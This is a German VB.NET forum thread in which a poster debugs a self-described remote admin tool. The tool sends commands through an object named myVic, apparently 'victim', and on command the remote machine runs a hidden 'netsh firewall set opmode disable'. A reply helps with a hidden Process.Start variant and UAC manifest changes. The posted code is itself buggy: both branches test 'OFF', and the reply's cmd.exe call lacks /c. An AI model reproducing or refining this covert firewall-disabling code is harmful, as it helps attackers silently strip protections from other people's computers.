TCP Firewall AN/AUS

  • VB.NET

Es gibt 4 Antworten in diesem Thema. Der letzte Beitrag () ist von Mr. BlackStar.

    TCP Firewall AN/AUS

    Hallo, Ich arbeite an einem Remote Admin Tool, mit Remote Desktop und sowas, das geht auch alles gut. Ich habe jetzt noch eine Funktion eingebaut, Firewall an und aus. Ich poste mal mein QC:

    Hier sende ich den Befehl:

    VB.NET-Quellcode

    1. Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
    2. myVic.SendeText("Firewall~+~" & "ON")
    3. End Sub
    4. Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
    5. myVic.SendeText("Firewall~+~" & "OFF")
    6. End Sub

    Das geht auch gut, der Server nimmt den Befehl an und führt ihn aus:

    VB.NET-Quellcode

    1. Function SetWindowsFirewallOut() As Long 'Firewall aus
    2. Shell("netsh firewall set opmode disable", AppWinStyle.Hide)
    3. Return 1
    4. End Function
    5. Function SetWindowsFirewallOn() As Long ' Firewall an
    6. Shell("netsh firewall set opmode enable", AppWinStyle.Hide)
    7. Return 1
    8. End Function
    9. Sub BefehleInterpretieren(ByVal sText As String)'Hier spalte ich den Befehl in: Befehl~+~aufgabe
    10. Dim BefehlsTeile() As String = Split(sText, "~+~")
    11. If BefehlsTeile.Count > 0 Then
    12. If BefehlsTeile(0) = "Firewall" Then
    13. If BefehlsTeile(1) = "OFF" Then
    14. SetWindowsFirewallOn()
    15. End If
    16. If BefehlsTeile(1) = "OFF" Then
    17. ' MyClient.TextSenden("Firewall_Answer~+~OFF")
    18. SetWindowsFirewallOut()
    19. End If
    20. end if
    21. end sub


    Wenn ich auf dem Button klicke, der die Firewall an macht, passiert garnichts
    Wenn ich auf dem Button Aus kicke, macht er sie aus, dann klicke ich 2 - 5 mal drauf und sie geht wieder an.
    Wie kann ich es machen das An = an ist und Aus = aus ist, wenn ihr mich versteht?
    Hat Dein Programm die erforderlichen Rechte (Administrator)?
    Falls Du diesen Code kopierst, achte auf die C&P-Bremse.
    Jede einzelne Zeile Deines Programms, die Du nicht explizit getestet hast, ist falsch :!:
    Ein guter .NET-Snippetkonverter (der ist verfügbar).
    Programmierfragen über PN / Konversation werden ignoriert!
    Vergess das "Shell"! Steig bitte auf Process.Start() um.

    VB.NET-Quellcode

    1. Dim P As New Process
    2. P.StartInfo.FileName = "C:\Windows\system32\cmd.exe"
    3. P.StartInfo.Arguments = "netsh firewall set opmode disable"
    4. P.StartInfo.WindowStyle = ProcessWindowStyle.Hidden
    5. P.Start()


    Zum Problem:

    Die Firewall muss auch ertmal abschlaten. Das dauert ein bisschen. Wenn du die UAC haben (AC) möchtest musst das "asInvoker" im app.manifest verändern. Google mal.